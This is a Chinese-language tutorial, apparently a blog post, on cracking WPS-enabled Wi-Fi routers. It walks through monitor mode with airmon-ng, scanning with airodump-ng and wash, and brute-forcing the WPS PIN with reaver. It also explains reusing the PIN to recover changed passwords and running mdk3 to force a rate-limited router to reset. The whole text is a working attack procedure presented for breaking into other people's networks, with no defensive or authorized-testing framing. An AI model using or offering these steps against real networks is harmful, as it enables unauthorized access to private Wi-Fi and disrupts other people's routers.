【前言】
現在的路由器大多都默認用 WPA2-PSK 方式對無線網絡進行加密了,不能再像 WEP 加密方式那樣好破解,使用字典又需要費心費力地整理字典,而且字典破解的效率還慢。所以我們需要更有效率的破解方法。好在現在大多數的路由器都提供 WPS 功能,通過這個功能,用戶可以使用 PIN 碼登錄到路由器。但這個 PIN 碼的長度只有 8 位,而且可能的取值只有11000種(注意,不是 10^8 種)。所以我們可以進行簡單粗暴的窮舉 PIN 碼破解,而且我們可以推斷出這種破解方法在目標 AP 開啓了 WPS 功能的情況下是可以百分之百破解它的。這其實是很老的破解手段了,但至今依然奏效。
【操作步驟】
1、切換無線網卡到監聽模式:
airmon-ng start wlan0
2、刺探附近 WLAN 網絡(這個命令所跟的參數值可以在 步驟1 完成後從提示信息中查看到):
airodump-ng wlan0mon
3、找出開啓了 WPS 功能、可以使用 PIN碼 登錄的路由器,並另外記錄下該 AP 的 BSSID(約等於該 AP 的 MAC 地址):
wash -i wlan0mon
3、開始進行 PIN碼 窮舉破解(注意末尾的參數是 2 個小寫字母 v):
reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv
參數說明:
-i 無線網卡名稱
-b 目標AP的mac地址
-a 自動檢測目標AP最佳配置
-S 使用最小的DH key,可以提高破解速度
-vv 顯示更多的非嚴重警告(注意這是 2 個小寫字母 v)
-d 即delay每窮舉一次的閒置時間 預設爲1秒
-c 信道編號
-p PIN碼四位或八位 //可以用8位直接找到密碼。
4、等待破解完成(這個破解可能會時間比較長,和你的目標 AP 有關,我當時花費了 12 個小時才破解出來),這期間我們可以查看到窮舉破解花費的時間、預計剩餘時間、窮舉PIN碼進度 信息:
破解完成後,查看並記錄下 PIN碼 和 密碼:
5、獲取到 PIN碼 後,以後即便路由器更換了密碼,我們也可以很迅速地通過 PIN碼 重新獲得新密碼。以上方獲取到的信息舉例:
reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -p 12316977
【注意事項】
1、如果在執行 reaver 命令後看到有 WARNING: Failed to associate with xx:xx:xx:xx:xx:xx 這樣的提示信息,那麼應該是你選擇了一個不具備或關閉了 WPS 功能的路由器。這種情況下就執行wash 命令並重新選擇一個路由器吧。
2、如果在執行 reaver 命令後看到有 warning detected ap rate limiting waiting 60 seconds before re-checking 這樣的提示信息,這表示目標路由器開啓了防 PIN破解 功能。因爲我們是窮舉 PIN碼 進行破解的,當連續使用超過某個次數的 PIN碼 後,路由器會暫時鎖定 WPS 功能一段時間。這種情況下要麼我們耐心等待其恢復 WPS 功能,要麼執行 mdk3 wlan0mon a -a xx:xx:xx:xx:xx:xx (這是上面的目標AP的MAC地址)命令讓路由器主動重啓或被動重啓以恢復 WPS 功能。